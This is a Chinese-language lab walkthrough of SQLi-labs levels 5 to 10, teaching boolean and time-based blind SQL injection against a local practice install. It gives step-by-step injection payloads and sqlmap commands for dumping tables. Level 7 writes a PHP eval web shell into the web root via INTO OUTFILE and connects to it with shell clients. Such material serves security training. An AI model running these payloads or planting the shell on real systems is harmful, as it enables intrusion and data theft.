SQL-LABS Less-5 到 Less-10 盲注实战指南
📋 目录
- 盲注基础知识
- 环境准备
- Less-5:布尔盲注入门
- Less-6:双引号布尔盲注
- Less-7:导出文件注入
- Less-8:时间盲注基础
- Less-9:时间盲注进阶
- Less-10:双引号时间盲注
- 自动化工具使用
- 总结与经验
一、盲注基础知识
什么是盲注?
盲注(Blind SQL Injection)是指在 SQL 注入攻击中,页面不会直接回显数据库内容,只能通过页面的不同反应来判断注入是否成功。
盲注的两种类型
| 类型 | 判断依据 | 速度 | 难度 |
|---|---|---|---|
| 布尔盲注 | 页面内容变化(True/False) | 快 | 中等 |
| 时间盲注 | 页面响应时间变化 | 慢 | 较高 |
为什么需要盲注?
在真实环境中,很多网站:
- ❌ 不显示 SQL 错误信息
- ❌ 不回显查询结果
- ✅ 只显示"登录成功/失败"、"存在/不存在"等简单提示
这时候就必须使用盲注技术。
二、环境准备
1. 启动 SQL-LABS
确保 PHPStudy/XAMPP 已启动,访问:
http://localhost/sqli-labs/2. 工具准备
- ✅ 浏览器(Chrome/Firefox)
- ✅ Burp Suite(可选,用于拦截请求)
- ✅ SQLMap(自动化工具)
- ✅ 笔记本(记录payload和结果)
3. 核心 SQL 函数复习
| 函数 | 作用 | 示例 |
|---|---|---|
length() | 获取字符串长度 | length(database()) |
substr() | 截取字符串 | substr(database(),1,1)第1个字符 |
ascii() | 获取字符ASCII码 | ascii(substr(database(),1,1)) |
if() | 条件判断 | if(1=1, sleep(5), 0) |
sleep() | 延迟执行 | sleep(5)延迟5秒 |
mid() | 同 substr | mid(database(),1,1) |
三、Less-5:布尔盲注入门
关卡信息
- URL:
http://localhost/sqli-labs/Less-5/?id=1 - 注入点:GET 参数
id - 注入类型:单引号字符型布尔盲注
- 页面特征:正确时显示 “You are in…”,错误时无输出
步骤 1:判断注入点
测试 Payload:
?id=1'现象:页面无任何输出(说明SQL语法错误)
测试闭合:
?id=1' --+ ?id=1' # ?id=1' and '1'='1结论:单引号闭合,存在注入点。
步骤 2:判断数据库名长度
Payload 模板:
?id=1' and length(database())>5 --+测试过程:
?id=1' and length(database())>10 --+ # 无输出(False,长度≤10) ?id=1' and length(database())>5 --+ # 有输出(True,长度>5) ?id=1' and length(database())>8 --+ # 无输出(False,长度≤8) ?id=1' and length(database())=8 --+ # 有输出(True,长度=8)结论:数据库名长度为8。
步骤 3:逐字符猜解数据库名
Payload 模板:
?id=1' and ascii(substr(database(),1,1))>100 --+猜解第 1 个字符:
?id=1' and ascii(substr(database(),1,1))>100 --+ # 有输出(ASCII > 100) ?id=1' and ascii(substr(database(),1,1))>110 --+ # 有输出(ASCII > 110) ?id=1' and ascii(substr(database(),1,1))>115 --+ # 无输出(ASCII ≤ 115) ?id=1' and ascii(substr(database(),1,1))=115 --+ # 有输出(ASCII = 115)结论:第 1 个字符 ASCII 码是115,对应字母s。
重复步骤猜解剩余字符,最终得到数据库名:security
步骤 4:猜解表名
先猜解表名数量:
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+猜解第一个表名长度:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+猜解第一个表名的第一个字符:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+完整表名列表:
emailsreferersuagentsusers
步骤 5:猜解列名和数据
猜解 users 表的列名:
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+最终获取数据:
username: admin password: password四、Less-6:双引号布尔盲注
关卡信息
- URL:
http://localhost/sqli-labs/Less-6/?id=1 - 注入类型:双引号字符型布尔盲注
- 与 Less-5 的区别:闭合方式从单引号变成双引号
核心区别
Less-5 闭合:
SELECT*FROMusersWHEREid='$id'LIMIT0,1Less-6 闭合:
SELECT*FROMusersWHEREid="$id"LIMIT0,1测试闭合方式
?id=1" # 错误 ?id=1" --+ # 正确 ?id=1" and "1"="1 # 正确Payload 调整
只需要把 Less-5 的所有 Payload 中的单引号换成双引号:
# Less-5 ?id=1' and length(database())=8 --+ # Less-6(双引号) ?id=1" and length(database())=8 --+其他步骤完全相同。
五、Less-7:导出文件注入
关卡信息
- URL:
http://localhost/sqli-labs/Less-7/?id=1 - 注入类型:导出文件注入(INTO OUTFILE)
- 闭合方式:
'))双括号单引号
核心知识:INTO OUTFILE
作用:将查询结果写入文件。
语法:
SELECT'content'INTOOUTFILE'/path/to/file.txt'利用条件:
- ✅ MySQL 用户有 FILE 权限
- ✅ 知道网站物理路径
- ✅ 目标目录可写
步骤 1:判断闭合方式
?id=1' # 错误 ?id=1') # 错误 ?id=1')) # 错误 ?id=1')) --+ # 正确!步骤 2:查看当前路径
?id=1')) and 1=2 union select 1,@@datadir,3 --+步骤 3:写入一句话木马
Payload:
?id=1')) union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'C:/phpStudy/WWW/sqli-labs/shell.php' --+注意事项:
- Windows 路径用
/或\\ - 文件名不能已存在
- 路径必须可写
步骤 4:连接木马
访问:
http://localhost/sqli-labs/shell.php用菜刀/蚁剑连接,密码:cmd
六、Less-8:时间盲注基础
关卡信息
- URL:
http://localhost/sqli-labs/Less-8/?id=1 - 注入类型:单引号时间盲注
- 页面特征:无论输入什么,都显示 “You are in…”
时间盲注原理
页面没有任何变化,只能通过响应时间判断:
- 条件为真 → 延迟 5 秒
- 条件为假 → 立即返回
步骤 1:确认时间盲注
Payload:
?id=1' and sleep(5) --+现象:页面延迟约 5 秒后返回。
步骤 2:判断数据库名长度
Payload 模板:
?id=1' and if(length(database())=8, sleep(5), 0) --+测试过程:
?id=1' and if(length(database())=10, sleep(5), 0) --+ # 立即返回(False) ?id=1' and if(length(database())=8, sleep(5), 0) --+ # 延迟5秒(True)结论:数据库名长度为8。
步骤 3:逐字符猜解数据库名
Payload 模板:
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+猜解第 1 个字符:
?id=1' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+ # 延迟5秒 ?id=1' and if(ascii(substr(database(),1,1))>110, sleep(5), 0) --+ # 延迟5秒 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+ # 延迟5秒(确认)重复步骤猜解剩余字符,得到:security
注意事项
⚠️时间盲注很慢!
- 每个字符需要多次请求(二分法约 7 次)
- 8 个字符 = 至少 56 次请求
- 每次延迟 5 秒 = 总共需要280 秒(约 5 分钟)
💡优化方法:
- 使用二分法减少请求次数
- 延迟时间改为 2-3 秒
- 使用自动化工具(SQLMap)
七、Less-9:时间盲注进阶
关卡信息
- URL:
http://localhost/sqli-labs/Less-9/?id=1 - 注入类型:单引号时间盲注
- 与 Less-8 的区别:无论输入什么都返回相同内容
核心特点
更加"盲":
- Less-8:错误时有提示
- Less-9:任何情况都显示 “You are in…”
解题方法
完全依赖时间判断,步骤与 Less-8 一致:
# 判断长度 ?id=1' and if(length(database())=8, sleep(3), 0) --+ # 猜解字符 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 0) --+八、Less-10:双引号时间盲注
关卡信息
- URL:
http://localhost/sqli-labs/Less-10/?id=1 - 注入类型:双引号时间盲注
- 闭合方式:
"
解题方法
把 Less-8/Less-9 的单引号改成双引号:
# Less-8/9(单引号) ?id=1' and if(length(database())=8, sleep(3), 0) --+ # Less-10(双引号) ?id=1" and if(length(database())=8, sleep(3), 0) --+九、自动化工具使用
SQLMap 基础用法
Less-5(布尔盲注):
sqlmap-u"http://localhost/sqli-labs/Less-5/?id=1"--batch--dbsLess-8(时间盲注):
sqlmap-u"http://localhost/sqli-labs/Less-8/?id=1"--batch--technique=T--dbs常用参数:
--dbs# 列出所有数据库--current-db# 当前数据库名-Dsecurity--tables# 列出 security 库的表-Dsecurity-Tusers--columns# 列出 users 表的列-Dsecurity-Tusers--dump# 导出 users 表数据--technique=B# 只使用布尔盲注--technique=T# 只使用时间盲注十、总结与经验
核心知识点
- 布尔盲注- 通过页面内容变化判断(快)
- 时间盲注- 通过响应时间判断(慢但通用)
- 闭合方式- 单引号、双引号、括号组合
- 核心函数- length()、substr()、ascii()、if()、sleep()
关卡对照表
| 关卡 | 注入类型 | 闭合方式 | 难度 | 关键点 |
|---|---|---|---|---|
| Less-5 | 布尔盲注 | ' | ⭐⭐⭐ | 基础布尔盲注 |
| Less-6 | 布尔盲注 | " | ⭐⭐⭐ | 双引号闭合 |
| Less-7 | 文件导出 | ')) | ⭐⭐⭐⭐ | INTO OUTFILE |
| Less-8 | 时间盲注 | ' | ⭐⭐⭐⭐ | 基础时间盲注 |
| Less-9 | 时间盲注 | ' | ⭐⭐⭐⭐ | 完全盲注 |
| Less-10 | 时间盲注 | " | ⭐⭐⭐⭐ | 双引号时间盲注 |